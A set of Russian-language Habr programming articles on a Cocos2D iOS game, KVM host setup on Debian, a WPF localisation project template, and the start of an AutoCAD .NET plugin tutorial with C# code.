8. [Паблиш](#chapter8)
Спойлер:
##### 1. Очень краткое введение в Cocos2D.
Cocos2d-iphone – это свободный 2D движок для iOS, использующий OpenGL для аппаратного ускорения графики и поддерживающий Chipmunk или Box2D в качестве движков физики.
Собственно, зачем нужен движок? Для того, чтобы не было необходимости писать загрузчик спрайтов (в частности из спрайтшитов), корректно запускать/останавливать анимацию, игровые таймеры, движок физики. Ну и главное – это аппаратное ускорение графики, если создавать игру, пусть и с несложной графикой, на основе компонентов Cocoa Touch, то после N-го количества игровых элементов, вы будете активно получать эффект bullet-time к месту и не к месту, либо игра вообще почит в бозе.
Cocos2D хранит все спрайты в кеше, дубликаты одного спрайта являются относительно легкими, т.к. спрайт хранит ссылку на фрейм, но не саму графику. При этом рендеринг спрайта в OpenGL буфер — более быстрая операция, чем рендеринг Cocoa элемента в дереве других графических элементов.
Что касается физических объектов – напрямую со спрайтами они не связаны, поэтому, если хотите, чтобы спрайт, к примеру цветка, содержал соответствующих физический полигон, то нужно писать наследника SpriteFlower. Зато более гибкая система – цветку можно присандалить не один, а несколько полигонов, к тому же можно даже выбрать какой из движков физики использовать.
Теперь, когда мы ~~разобрались во всех немыслимых тонкостях~~ прочитали обещанное введение в Cocos2D, приступим к некой конкретике.
##### 2. Используем Cocos2D одновременно с StoryBoard
После всех дифирамбов Cocos2D, выглядит немного нелогично. Однако в действительности для статичных окон намного проще использовать Interface Builder и механизмы Storyboard. Во-первых можно мышкой потягать все эти картинки, а во-вторых сам програмный интерфейс Storyboard слишком удобный, чтобы его не использовать. И да, я в курсе, что есть это [cocosbuilder.com](http://cocosbuilder.com)
Как оно выглядит в Interface Builder:
Все окна здесь описаны в Storyboard, а главное окно игры – просто содержит Cocos2D сцену в качестве фона, а поверх размещен HUD, сделанный также на основе стандартных элементов.
Обратите внимание, как выглядит экран – белый фон – это Cocos2D, который загрузит необходимую графику на старте игры, а индикатор жизней, строки и прочее – это сделано при помощи интерфейс билдера.
Не буду увеличивать и без того большую статью описанием, как это делается, просто приведу ссылку, откуда я ~~копипастил код~~ черпал вдохновение [github.com/tinytimgames/CCViewController](https://github.com/tinytimgames/CCViewController)
##### 3. Краткое описание геймплея и структуры проекта
Геймплей таков – пчела висит неподвижно, а по теории относительности, поле несется навстречу, неся различные опасности в виде пауков и ядовитых растений, а также разные плюшки в виде одуванов и одуванчиковых семян. В Cocos2D на самом деле есть объект camera, который может следовать за игроком, но на практике получилось проще двигать CCLayer на котором находится игровой мир.
Управление самое простое – тапнул на экран, пчела полетела вниз, тапнул еще раз – вверх. Тем не менее, оказалось, что игрокам интуитивно хочется делать слайд и поэтому по началу довольно не удобно.
Генерация мира идет не равномерно, а порциями по несложному алгоритму. В игре есть три специальных слоя для заполнения объектами. Во время старта игры заполняются объектами все три. Потом берется один из слоев и заполняется объектами на определенную длину. Через некоторое время заполняется следующий участок, но уже во второй слой, а затем третий. Когда пчела перелетает из второго участка в третий, первый слой очищается, а потом в него начинает заполнятся четвертый участок и так далее. Можно было обойтись и двумя слоями, но тогда было бы сложнее бороться с эффектом, когда исчезает объект, перелетевший из одного участка в другой (в моем случае такими объектами являются только летящие семена одувана). Это происходит из-за того, что объекты удаляются одним махом, а не покоординатно.
В проекте используется движок физики Chipmunk. Я взял его по двум причинам. Во-первых, он вроде бы как более простой, а во-вторых с Box2D я уже имел дело, когда использовал AndEngine, а захотелось чего-то нового. Движок нужен только для того, чтобы определять столкновения пчелы с игровыми объектами, физики, как в злых птицах, нет.
##### 4. Покупаем инструменты и что делать, если душит жаба
В разработке казуалки главное не зацикливаться. Могу с уверенностью сказать, что главным убийцей Angry Birds мог быть только перфекционизм. Но даже, если нет ~~возможности~~ необходимости делать суперфреймворк, с базовым классом MyObject, который может редактироваться специально предназначенным редактором, это не значит, что нельзя автоматизировать многие вещи.
Прежде всего очень сильно упрощает жизнь Linux-way. К примеру, художник сбрасывает мне рисунки в большом разрешении в дропбокс. У меня есть скрипт, который конвертирует их в меньшее разрешение (mogrify, ага) + добавляет –hd версию (@2x в зависимости от ситуации).
Использование Cocos2D совместно с Interface builder – это тоже прежде всего оптимизация по времени.
Еще может быть очень полезным [TexturePacker](http://www.codeandweb.com/texturepacker), который упакует все спрайты в один спрайтшит и таким образом уменьшит количество потребляемой памяти, если только вы и без этого не ухитритесь сделать все спрайты по размерам кратные двойке. TexturePacker платный, но он стоит того. Со спрайтшитом проще еще в том плане, что добавляя новый спрайт, нет необходимости добавлять новые файлы в проект.
Основная сложность для 2D физики – это по картинкам создать полигон, который будет загружен физическим движком. Вручную это делать нереально, поэтому нужно использовать какой-то инструмент. Есть различные предложения типа делать векторную структуру при помощи программы Inkspace, но лично я написал для этого утилиту AndengineVertexHelper [code.google.com/p/andengine-vertex-helper/downloads/list](http://code.google.com/p/andengine-vertex-helper/downloads/list)
Времени на это ушло где-то один день, но зато эта штука оказалось очень полезной. По умолчанию в программе стоит шаблон для кодогенерации движка Andengine, подробности здесь [www.andengine.org/forums/features/vertex-helper-t1370.html](http://www.andengine.org/forums/features/vertex-helper-t1370.html)
Меняем шаблон на
```
%.5f%.5f
```
и получаем форматирование в plist.
Далее создаем plist файл с описаниями объектов:
**Развернуть пример**
```
xml version="1.0" encoding="UTF-8"?
bee0
vertices
-0.41786-0.14844
-0.407140.07031
-0.039290.14453
0.271430.15625
0.46071-0.02344
0.45714-0.29688
0.26786-0.46484
0.02143-0.46094
-0.29643-0.31250
```
И загрузчик объекта:
**Развернуть пример**
```
- (void)createBodyAtLocation:(CGPoint)location{
float mass = 1.0;
body = cpBodyNew(mass, cpMomentForBox(mass, self.sprite.contentSize.width*self.sprite.scale,
self.sprite.contentSize.height*self.sprite.scale));
body->p = location;
body->data = self;
cpSpaceAddBody(space, body);
NSString *path =[[NSBundle mainBundle] pathForResource:@"obj _descriptions" ofType:@"plist"]; // <- load plist
NSDictionary *objConfigs = [[[NSDictionary alloc] initWithContentsOfFile:path] autorelease];
NSArray *vertices = [[objConfigs objectForKey:namePrefix] objectForKey:@"vertices"];
shape = [ChipmunkUtil polyShapeWithVertArray:vertices
withBody:body
width:self.sprite.contentSize.width
height:self.sprite.contentSize.height];
shape->e = 0.7;
shape->u = 1.0;
shape->data = self;
shape->collision_type = OBJ_COLLISION_TYPE;
cpSpaceAddShape(space, shape);
}
```
Чтобы визуально протестировать соответствие спрайтов и их физических представлений, очень советую воспользоваться вот этой штукой: [github.com/nubbel/CPDebugLayer](https://github.com/nubbel/CPDebugLayer)
Выглядеть будет намного понятней:
Для другой игры я написал кастомный редактр карт (использовался тот же PyQt) и могу сказать, что это время вернулось многократно.
Резюмируя этот раздел, хочу сказать – автоматизируйте свою работу, даже простые скрипты сэкономят вам кучу времени, а главное, вы будете это время заняты программированием.
##### 5. Чем не пахнет приложение или подключаем in-app билинг
Собирая в игре одуваны, игрок на самом деле получает внутри-игровые деньги. Их можно потратить на новых персонажей. По большому счету, персонажи не отличаются ничем, кроме внешнего вида – они ни более ловкие, ни еще какие-нибудь. Однако там где есть прогресс, там есть и чит. В игре есть возможность купить одуваны за реальные деньги. Т.к. персонажи ничем практически не отличаются, то и серверной проверки на валидность покупки нет.
##### 6. Социализируем. Подключаем GameCenter и создаем мультиплеерную версию на два игрока
Для социализции приложения я добавил два лидерборда – счетчик пройденного расстояния и количество набранных очков. Хотя мне искренне интересно, а кто-нибудь этим вообще использует?
Более полезная фича гейм центра – это возможность создания мультиплеерной игры.
Порционность генерации карты я делал не зря – для того, чтобы буфер заполнялся достаточным количеством объектов «на будущее», если есть проблемы с сетью. Один из игроков будет сервером, другой – клиентом.
Чтобы определить кто есть кто, в начале с игры вместе с другой метаинформацией об игроке передается случайное число. Тот у кого оно больше – сервер.
И хотя размер буфера с объектами достаточно велик, чтобы сгладить неравномерность сети, задержка может привести к тому, что один игрок сильно опередит другого. В этом случае соперник будет показан стрелкой, т.е. будет показываться его высота.
Спрайт второго игрока также был неподвижным, однако с периодичностью делалась поправка его положения с учетом переданной им информацией и текущего положения позиции «мира». В идеале (при мгновенной передаче по сети), игрок «двигался» бы равномерно, при этом не передавая слишком много информации.
Однако на практике такое обновление вызывало побочные эффекты – игрок подергивался, т.к. глазу были заметны даже небольшие задержки между обновлениями. Поэтому сделал обновление не мгновенное, а в виде анимации движения за пол секунды. На практике это выглядит, как будто пчела плавно замедляется или ускоряется.
##### 7. В чём промахнулся Акела
По итогам разработки всплыли некоторые проблемы:
1. Вышеупомянутая проблема управления — тап не интуитивен в данной игре
2. Графика немного запинается каждый перезапуск общего слоя.
При чем, если action зациклен, как repeatForever, то такое проблемы практически нет:
**Развернуть пример**
```
-(void) infiniteMove{
id actionBy = [CCMoveBy actionWithDuration: BUFFER_DURATION position: ccp(-BUFFER_LENGTH, 0)];
id actionCallFunc = [CCCallFunc actionWithTarget:self selector:@selector(requestFillingNextBuffer)];
id actionSequence = [CCSequence actions: actionBy, actionCallFunc, nil];
id repeateForever = [CCRepeatForever actionWithAction:actionSequence];
[self.bufferContainer runAction:repeateForever];
}
```
Но я сделал, чтобы движение постепенно ускорялось, поэтому каждый цикл создается новые action. Это приводит к тому, что графика немного запинается:
**Развернуть пример**
```
-(void) infiniteMoveWithAccel{
float duration = BUFFER_DURATION-BUFFER_ACCEL*self.lastBufferNumber;
duration = max(duration, MIN_BUFFER_DURATION);
id actionBy = [CCMoveBy actionWithDuration: duration position: ccp(-BUFFER_LENGTH, 0)];
id restartMove = [CCCallFunc actionWithTarget:self selector:@selector(infiniteMoveWithAccel)];
id fillBuffer = [CCCallFunc actionWithTarget:self selector:@selector(requestFillingNextBuffer)];
id actionSequence = [CCSequence actions: actionBy, restartMove, fillBuffer, nil];
[self.bufferContainer runAction:actionSequence];
}
```
В прочем, когда я тестировал «на кошках», никто из испытуемых не пожаловался на это, но если присмотреться, то видно.
3. Использование Game Center для мультиплеера с одной стороны избавило от необходимости авторизации, а также дало возможность сделать игру без серверной части (используется только эпловский Peer-to-Peer), но с другой стороны, лишило возможности написать бота.
А ведь вряд ли эта игра наберет столько пользователей, чтобы всегда было несколько человек онлайн. Бот в этом плане замечательное решение – человек побеждает AI, думая, что борется с реальным человеком и даже простейшая игра кажется в несколько раз интересней.
##### 8. И, наконец, публикация.
На самом деле, в публикации не было ничего эдакого. Разве что дня четыре не мог понять почему приложение со статусом ready for sale не видно в iTunes. Оказалось, что я просто забыл сменить дату «Rights and Pricing -> Availability Date», которая стояла у меня аж на июль этого года.
Надеюсь, было интересно читать и кто-нибудь подчерпнул для себя полезное. | https://habr.com/ru/post/165601/ | null | ru | null |
# Работа с виртуальными машинами KVM. Подготовка хост-машины
#### Вступление
Как и было обещано в [предыдущей статье](http://habrahabr.ru/blogs/virtualization/120432/), сегодня мы поговорим о базовой настройке хост-машины для работы KVM.
Для начала необходимо узнать, есть ли у нашего процессора необходимые инструкции для поддержки виртуализации.
`$ egrep '(vmx|svm)' /proc/cpuinfo`
Если есть — это замечательно.
#### Подготовка операционной системы
Установку Debian Squeeze я, пожалуй, описывать не буду: если уж вы добрались до KVM, то установка системы — плёвое дело.
Устанавливать нужно будет 64-битную OS, поскольку необходимые пакеты есть только для этой архитектуры.
В Debian Squeeze «свежесть» пакетов с KVM и сопутствующих программами нас совсем не устраивает, поскольку очень много всяких фиксов и фич попросту пройдут мимо нас. Поэтому мы добавим репозитории Debian Sid и experimental:
`deb http://ftp.ru.debian.org/debian sid main contrib non-free
deb-src http://ftp.ru.debian.org/debian sid main contrib non-free
deb http://ftp.ru.debian.org/debian experimental main contrib non-free
deb-src http://ftp.ru.debian.org/debian experimental main contrib non-free`
Указываем, что у нас базовый дистрибутив stable, а не то, что подумала система:
`# echo 'APT::Default-Release "stable";' > /etc/apt/apt.conf.d/default`
Оттуда нам понадобятся пакеты:
`# aptitude -t experimental install linux-image-2.6.39-1-amd64 qemu-kvm virtinst libvirt-bin`
Из стабильного репозитория нам будут нужны:
`# aptitude install uml-utilities bridge-utils`
На вашем рабочем десктопе вы можете поставить **virt-manager** (GUI-утилита), который позволит удобно создавать нужные конфигурации виртуальных машин.
##### Ядро
Ядро чем «свежее» — тем лучше (в известных пределах конечно: из git, например, я бы ставить не рекомендовал). Хорошим вариантом будет 2.6.39, вышедшее недавно.
Следует отметить, что в стандартном ядре отсутствует модуль для поддержки записи в UFS2, и если планируется запускать гостевую FreeBSD, потребуется собрать ядро с этим модулем. Ну и, конечно, в Debian-овском ядре отсутствуют свежие версии cgroups.
Что должно быть включено в ядре для использования максимального объема требуемого функционала:
`CONFIG_VIRTIO_BLK=y
CONFIG_VIRTIO_NET=y
CONFIG_VIRTIO_CONSOLE=y
CONFIG_HW_RANDOM_VIRTIO=y
CONFIG_VIRTIO=y
CONFIG_VIRTIO_RING=y
CONFIG_VIRTIO_PCI=y
CONFIG_VIRTIO_BALLOON=y
CONFIG_CGROUPS=y
CONFIG_CGROUP_NS=y
CONFIG_CGROUP_FREEZER=y
CONFIG_CGROUP_DEVICE=y
CONFIG_CGROUP_CPUACCT=y
CONFIG_CGROUP_MEM_RES_CTLR=y
CONFIG_CGROUP_MEM_RES_CTLR_SWAP=y
CONFIG_CGROUP_MEM_RES_CTLR_SWAP_ENABLED=y
CONFIG_CGROUP_SCHED=y
CONFIG_BLK_CGROUP=y
CONFIG_NET_CLS_CGROUP=y`
Затем идём по [ссылке](http://libguestfs.org/download/binaries/debian-packages/) и устанавливаем все deb-пакеты оттуда, копируем insmod.static в /sbin/insmod.static (это нужно, поскольку в работе libguestfs использует статически скомпилированную версию insmod, а в Debian и Ubuntu такого файла [просто нет](http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=627353), однако в последней версиии [febootstrap](http://libguestfs.org/download/binaries/debian-packages/febootstrap_3.6-1_amd64.deb) эту проблему устранили, insmod.static более не нужно загружать на сервер). libguestfs позволяет нам получать доступ к диску VDS через API libguestfs(C, Perl, Python, PHP) или через утилиту guestfish.
##### Первый блин
Сейчас мы установили все, необходимое для запуска VDS, их доступа в сеть и установки самой виртуальной машины.
Давайте попробуем что-нибудь поставить, например, тот же самый Debian. Пока без настройки сети, просто, по умолчанию.
Скачиваем установщик netinstall:
`$ wget cdimage.debian.org/debian-cd/6.0.1a/i386/iso-cd/debian-6.0.1a-i386-netinst.iso`
Редактируем **/etc/libvirt/qemu.conf**, чтобы виртуальные машины работали у нас от непривилегированного пользователя:
`user = "username"
group = "libvirt"`
Поскольку у нас будут использоваться tun-устройства, нужно выставить capability **CAP\_NET\_ADMIN**, сделать это можно как для отдельного исполняемого файла, так и для пользователя в целом, или настроить чтобы libvirt не сбрасывал нужные права для qemu/kvm.
Выставляем для отдельного файла:
`sudo setcap cap_net_admin=ei /usr/bin/kvm`
Или выставляем для пользователя в целом в файле **/etc/security/capability.conf**:
`cap_net_admin username`
Или выставляем соответствующую настройку в **/etc/libvirt/qemu.conf**:
`clear_emulator_capabilities = 0`
Добавим пользователя в группу libvirt и kvm:
`# adduser username libvirt
# adduser username kvm`
Запустим установку виртуальной машины:
`$ virt-install --connect qemu:///system -n debian_guest -r 512 --arch=i686 --vcpus=1 --os-type=linux --os-variant=debiansqueeze --disk debian-6.0.1a-i386-netinst.iso,device=cdrom --disk debian_guest.img,bus=virtio,size=2,sparse=false,format=raw --network=default,model=virtio --hvm --accelerate --vnc`
Подробно разберём параметры, которые мы указали:
* **--connect qemu:///system** URL, по которому мы подключаемся к KVM. Подключаться можно через ssh.
* **-n debian\_guest** Имя гостевой системы.
* **-r 512** Выделяемый объём оперативной памяти в мегабайтах.
* **--arch=i686** Архитектура гостевой операционной системы.
* **--vcpus=1** Количество виртуальных процессоров, доступных гостю.
* **--os-type=linux --os-variant=debianlenny** Специфичные для данной операционной системы параметры.
* **--disk debian-6.0.1a-i386-netinst.iso,device=cdrom** Загружаемся с диска, образ которого указали.
* **--disk debian\_guest.img,bus=virtio,size=2,sparse=false,format=raw** Создаём образ системы размером 2Гб, который сразу помещаем на диск (можно создать образ нулевого размера, но тогда возможна фрагментация, что получается несколько медленнее). Формат простой, можно сделать с dd файл. Драйвер диска virtio, использовать лучше virtio, чем ide: производительность их отличается если не на порядок, то в разы.
* **--network=default,model=virtio** Сетевые настройки по умолчанию. В этом случае libvirt создаст мост, сделает dhcp сервер и выдаст через него адрес для доступа виртуальной машины.
* **--hvm** Полная виртуализация — то есть, можно использовать собственные ядра.
* **--accelerate** Работа через /dev/kvm.
* **--vnc** Запускаем VNC, чтобы подключаться к текстовой консоли.
##### Утилиты настройки и управления
Для управления установкой и для клонирования виртуальных машин у нас есть две замечательные утилиты — графическая и консольная: **virt-manager** и **virsh**, соответственно. Конечно, консольная версия намного богаче по возможностям, но ничто не сравнится с видом графиков, от которых сердце сисадмина млеет.
Думаю с **virt-manager** вы и сами разберётесь, давайте попробуем покопаться в консольных внутренностях **virsh**. Вот несколько команд которые стоит выполнить и посмотреть что из этого получится:
`$ virsh --connect qemu:///system list --all
$ virsh --connect qemu:///system dominfo debian_guest
$ virsh --connect qemu:///system stop debian_guest`
Чтобы тысячу раз не писать **--connect qemu:///system**, добавьте:
`export VIRSH_DEFAULT_CONNECT_URI= qemu:///system`
В .bashrc или просто выполните эту команду в терминале.
##### Подготовка сети
В официальной документации предлагается использовать несколько вариантов организации сети: NAT, bridged и прямое использование сетевых карт. И, к сожалению, в различных примерах, которые я нашел в сети и на официальном сайте, рассматриваются только NAT и bridged сети.
В моей конфигурации используются TUN/TAP устройства, на которые с eth0 маршрутизируется трафик. Коротко опишу, почему выбран именно такой способ маршрутизации:
NAT нам не подходит, поскольку каждая VDS должна быть доступна из сети напрямую.
Схема с мостами не очень надёжная, поскольку теоретически есть возможность «захвата» IP адреса чужой виртуальной машины.
Итак:
Данный участок конфигурации нужно указывать непосредственно в конфигурационном файле гостя, расположенного по адресу **/etc/libvirt/qemu/debian\_guest.xml**. Редактировать лучше всего через:
`$ virsh edit debian_guest`
Тогда конфигурация обновится на лету, при условии, что машина не запущена. В противном случае нужно будет подождать, пока она остановится, и запустить ее снова.
Создадим необходимое нам виртуальное устройство.
Для начала нам нужно дать нашему пользователю возможность беспарольного обращения к системным командам. Для этого добавим в sudoers:
`$ sudo visudo
Cmnd_Alias QEMU = /sbin/ifconfig, /sbin/modprobe, /usr/sbin/brctl, /usr/sbin/tunctl, /sbin/sysctl, /bin/ip, /usr/bin/cgcreate, /usr/bin/cgdelete, /sbin/tc
username ALL=(ALL:ALL) NOPASSWD: QEMU`
Включим возможность форвардинга и проксирования arp-запросов:
`sudo sysctl net.ipv4.conf.all.forwarding=1
sudo sysctl net.ipv4.conf.all.proxy_arp=1`
Также можно добавить эти параметры в /etc/sysctl.conf и применить их:
`sudo sysctl -p`
Создадим виртуальную сетевую карту и поднимем устройство:
`sudo tunctl -b -u username -t debian_guest
sudo ifconfig debian_guest 0.0.0.0 up`
Создадим маршрут на нужное нам устройство с нужного IP-адреса:
`sudo ip route add 10.10.10.100 dev debian_guest`
Теперь можно запустить VDS:
`$ virsh start debian_guest`
Подключившись к консоли, мы увидим, что сети нет, но у нас появилось устройство **eth1**, вместо **eth0**. Это произошло потому, что система при загрузке в **/etc/udev/rules.d/70-persistent-net.rules** прописывает mac-адрес сетевой карты, и если mac сменился, она создаёт ещё одну запись о сетевой карте, вроде этой:
`SUBSYSTEM=="net", ACTION=="add", DRIVERS=="?*", ATTR{address}=="xx:xx:xx:xx:xx:xx", ATTR{dev_id}=="0x0", ATTR{type}=="1", KERNEL=="eth*", NAME="eth1"`
Нужно удалить этот файл и перезагрузить VDS — после этого сетевая карта определится корректно.
Пропишем новые сетевые настройки в гостевой системе:
`# ifconfig eth0 10.10.10.100 netmask 255.255.255.0
# route add default gw 10.10.10.10`
**10.10.10.10** — это IP-адрес хост-системы. Теперь мы сможем попинговать другие машины.
Добавим DNS-серверы в /etc/resolv.conf, и будет совсем замечательно:
`nameserver 8.8.8.8`
К слову, замечу, что оказалось очень удобно называть сетевые устройства, принадлежащие VDS, также, как и сами VDS — отпадает необходимость искать, кому принадлежит устройство tap0 или vnet0, или как там ещё можно их обозвать.
Если понадобится выдать виртуальной машине ещё один IP-адрес, достаточно будет просто на хост-машине прописать ещё один маршрут:
`# ip route add 10.10.10.101 dev debian_guest`
А в гостевой системе создать алиас для сетевого устройства:
`# ifconfig eth0:1 10.10.10.101`
#### В следующей части
В следующей статье я расскажу о том, как создать образ VDS, что вообще меняется от системы к системе, и как эти параметры можно удобно менять. | https://habr.com/ru/post/120717/ | null | ru | null |
# Шаблон проекта многоязычного WPF приложения
##### Введение
Локализация приложения на WPF — не легкое занятие. Практически любое пособие по локализации WPF изобилует деталями и ручными шагами для реализации локализованного приложения.
##### Существующие решения
Локализация с помощью утилиты LocBaml, описанная в руководстве по локализации от Microsoft имеет множество преимуществ, однако сложна для поддержки. André van heerwaarde, в своей [статье](http://www.codeproject.com/KB/WPF/LocBamlClickOnce.aspx) предложил упростить это решение с помощью настроенного шага сборки, он же написал утилиты для слияния переведенных текстовых фрагментов. Однако, в его статье, так же много ручных шагов.
##### Шаблон проекта Visual Studio
Я предлагаю воспользоваться созданным мной шаблоном локализованного приложения, для начала работы над многоязычным WPF приложением. Проект, созданный с помощью этого шаблона, уже содержит все необходимые утилиты, для локализации, а так же максимально автоматизирует процедуры локализаци в процессе разработки.
В процессе разработки приложения вы добавляете новые XAML файлы, не заботясь о локализации. По завершению внесения изменений выполните сборку проекта.
Настроенный шаг перед сборкой вызовет msbuild /t:updateuid [Имя проекта].csproj. Этот шаг автоматически добавляет x:Uid в каждый элемент, содержащий текстовые элементы.
После чего в процессе сборки будет автоматически запущен LocBaml, который найдет все текстовые элементы в XAML файлах и создаст CSV файл, содержащий текстовые элементы.
Следующий шаг запустит утилиту MergeLocBamlCsv от André van heerwaarde. В результате чего предыдущие переведенные фрагменты будут объединены с новыми. Утилита StripLocBamlCsv вырежет неиспользуемые элементы из CSV файлов.
Единственное, что вам придется сделать вручную, это добавление новых языков и собственно сам перевод.
##### Добавление нового языка
Для добавления нового языка в проект вам придется:
скопировать локализацию нейтрального языка в новый CSV файл
copy Translation\Translate.csv Translation\Translate.ru-RU.csv
открыть файл проекта в текстовом редакторе и после строчек:
> `<LocBamlCsv Include="Translation\Translate.de-DE.csv">
>
> <Culture>de-DECulture>
>
> LocBamlCsv>`
добавить новый язык, например
> `<LocBamlCsv Include="Translation\Translate.ru-RU.csv">
>
> <Culture>ru-RUCulture>
>
> LocBamlCsv>`
После этого нужно переоткрыть проект в Visual Studio, если проект уже был открыт, то среда разработки спросит, желаете ли вы переоткрыть проект, для отражения внесенных изменений, ответьте 'Да'.
Если вы не допустили ошибок, то во вновь открытом проекте в папке Translation появится новый файл Translate.ru-RU.csv
Запустите сборку для обновления файлов трансляции, после чего можно открыть новый файл и приступить к переводу.
##### Загрузка
* [Шаблон приложения](http://visualstudiogallery.msdn.microsoft.com/7b8a8c13-0a7b-481f-b1f9-08e085448bdc)
##### Ссылки
* [WPF Localization Guidance](http://wpflocalization.codeplex.com/)
* [WPF Globalization and Localization Overview](http://msdn.microsoft.com/en-us/library/ms788718.aspx)
* [LocBaml + MsBuild + ClickOnce Deployment](http://www.codeproject.com/KB/WPF/LocBamlClickOnce.aspx) | https://habr.com/ru/post/118840/ | null | ru | null |
# Создание плагинов для AutoCAD с помощью .NET API (часть 6 – поиск и изменение объектов на чертеже)
Это шестая часть [цикла](http://habrahabr.ru/post/235723/) про разработку плагинов для AutoCAD. В ней поговорим про поиск объектов на чертеже, а также про их изменение.
```
public static string disclaimer = "Автор не является профессиональным разработчиком и не обладает глубокими знаниями AutoCAD. Этот пост – просто небольшой рассказ о создании плагина.";
```
Введение
========
В первой части статьи мы рассмотрим поиск объектов на чертеже, во второй — коротко поговорим про их изменение. Однако прежде чем начать рассмотрение этих вопросов, давайте подготовим каркас тестового примера, который мы будем использовать на протяжении всей статьи.
Пример будет несложным, но довольно объемным. Мы создадим два слоя с именами «layer-1» и «layer-2» (итого вместе с нулевым слоем, который есть в каждом чертеже, получится три слоя). Также мы добавим два определения блока с именами «block-1» (он будет состоять из окружности, линии и полилинии) и «block-2» (он будет состоять из окружности и двух линий). После этого поместим на чертеж несколько графических объектов:
* на нулевой слой: три линии, полилинию, окружность, текст;
* на слой «layer-1»: две линии, окружность, текст, вхождение блока «block-1»;
* на слой «layer-2»: линию, дугу, окружность, вхождение блока «block-1», вхождение блока «block-2».
Ну и для полного счастья мы раскрасим все это дело в розовый, голубой и салатовый цвета.
**NB:**Выбор не слишком стандартных цветов обусловлен тем, что подготавливать примеры кода к статьям — тоска смертная, и хочется хоть как-то этот процесс оживить.
Раскрасив первые линии, я вдруг вспомнил про [Радужный флаг](https://ru.wikipedia.org/wiki/%D0%A0%D0%B0%D0%B4%D1%83%D0%B6%D0%BD%D1%8B%D0%B9_%D1%84%D0%BB%D0%B0%D0%B3) и подумал даже, не вставить ли его в статью…
Но во-вторых, я не так уж сильно поддерживаю это движение, а во-первых, флаг — это сильно сложнее трех линеек. Ну его нафиг.
Код, реализующий этот план действий, приведен далее. Все выполняемые операции: создание слоев и определений блока, вставка текста, графических примитивов и вхождений блока — мы уже рассматривали в прошлых статьях цикла. Единственное, что еще не рассматривалось, — это задание слоя и цвета для объекта чертежа, но оно занимает буквально одну строку кода и, я надеюсь, сложностей не вызовет.
Итак, создаем проект, выполняем первоначальную настройку (указываем версию .NET, отключаем `CopyLocal`) и подключаем уже привычные библиотеки **AcMgd** и **AcDbMgd**. Далее помещаем туда функции, создающие объекты для нашего примера.
**Код:**
```
using System;
using System.Collections.Generic;
using Autodesk.AutoCAD.Runtime;
using Autodesk.AutoCAD.DatabaseServices;
using Autodesk.AutoCAD.Geometry;
using Autodesk.AutoCAD.ApplicationServices;
using Autodesk.AutoCAD.EditorInput;
using acad = Autodesk.AutoCAD.ApplicationServices.Application;
namespace HabrPlug_SearchAndRescue
{
public class ClassMyAutoCADDLL_SearchAndRescue
{
public class Commands : IExtensionApplication
{
// используемые цвета
Autodesk.AutoCAD.Colors.Color color_Pink = Autodesk.AutoCAD.Colors.Color.FromRgb(255, 128, 255);
Autodesk.AutoCAD.Colors.Color color_Blue = Autodesk.AutoCAD.Colors.Color.FromRgb(0, 200, 255);
Autodesk.AutoCAD.Colors.Color color_LightGreen = Autodesk.AutoCAD.Colors.Color.FromRgb(128, 255, 64);
// ID слоев "layer-1" и "layer-2"
ObjectId layer_1;
ObjectId layer_2;
// создаем слои
public void createLayers()
{
// получаем текущий документ и его БД
Document acDoc = Autodesk.AutoCAD.ApplicationServices.Application.DocumentManager.MdiActiveDocument;
Database acCurDb = acDoc.Database;
// блокируем документ
using (DocumentLock docloc = acDoc.LockDocument())
{
// начинаем транзакцию
using (Transaction tr = acCurDb.TransactionManager.StartTransaction())
{
// открываем таблицу слоев документа
LayerTable acLyrTbl = tr.GetObject(acCurDb.LayerTableId, OpenMode.ForWrite) as LayerTable;
// создаем новый слой и задаем ему имя
LayerTableRecord acLyrTblRec_1 = new LayerTableRecord();
acLyrTblRec_1.Name = "layer-1";
// заносим созданный слой в таблицу слоев, сохраняем ID созданной записи слоя
layer_1 = acLyrTbl.Add(acLyrTblRec_1);
// добавляем созданный слой в документ
tr.AddNewlyCreatedDBObject(acLyrTblRec_1, true);
// создаем новый слой и задаем ему имя
LayerTableRecord acLyrTblRec_2 = new LayerTableRecord();
acLyrTblRec_2.Name = "layer-2";
// заносим созданный слой в таблицу слоев, сохраняем ID созданной записи слоя
layer_2 = acLyrTbl.Add(acLyrTblRec_2);
// добавляем созданный слой в документ
tr.AddNewlyCreatedDBObject(acLyrTblRec_2, true);
// фиксируем транзакцию
tr.Commit();
}
}
}
// создаем определение блока "block-1"
public void createBlock_1()
{
// получаем ссылки на документ и его БД
Document doc = Application.DocumentManager.MdiActiveDocument;
Database db = doc.Database;
// имя создаваемого блока
const string blockName = "block-1";
// начинаем транзакцию
Transaction tr = db.TransactionManager.StartTransaction();
using (tr)
{
// открываем таблицу блоков на запись
BlockTable bt = (BlockTable)tr.GetObject(db.BlockTableId, OpenMode.ForWrite);
// проверяем, нет ли в таблице блока с таким именем; если есть - заканчиваем выполнение команды
if (bt.Has(blockName))
{
return;
}
// создаем новое определение блока, задаем ему имя
BlockTableRecord btr = new BlockTableRecord();
btr.Name = blockName;
// добавляем созданное определение блока в таблицу блоков и в транзакцию
bt.Add(btr);
tr.AddNewlyCreatedDBObject(btr, true);
// добавляем к блоку элементы
// создаем окружность
Circle acCircle = new Circle();
// устанавливаем параметры созданного объекта
acCircle.SetDatabaseDefaults();
acCircle.Center = Point3d.Origin;
acCircle.Radius = 25;
// добавляем созданный объект в определение блока и в транзакцию
btr.AppendEntity(acCircle);
tr.AddNewlyCreatedDBObject(acCircle, true);
// создаем линию
Line acLine = new Line(new Point3d(18, 18, 0), new Point3d(35, 35, 0));
// устанавливаем параметры созданного объекта равными параметрам по умолчанию
acLine.SetDatabaseDefaults();
// добавляем созданный объект в определение блока и в транзакцию
btr.AppendEntity(acLine);
tr.AddNewlyCreatedDBObject(acLine, true);
// создаем полилинию
Polyline acPolyline = new Polyline();
// устанавливаем параметры созданного объекта равными параметрам по умолчанию
acPolyline.SetDatabaseDefaults();
// добавляем к полилинии вершины
acPolyline.AddVertexAt(0, new Point2d(20, 35), 0, 0, 0);
acPolyline.AddVertexAt(1, new Point2d(35, 35), 0, 0, 0);
acPolyline.AddVertexAt(2, new Point2d(35, 20), 0, 0, 0);
// добавляем созданный объект в определение блока и в транзакцию
btr.AppendEntity(acPolyline);
tr.AddNewlyCreatedDBObject(acPolyline, true);
// фиксируем транзакцию
tr.Commit();
}
}
// создаем определение блока "block-2"
public void createBlock_2()
{
// получаем ссылки на документ и его БД
Document doc = Application.DocumentManager.MdiActiveDocument;
Database db = doc.Database;
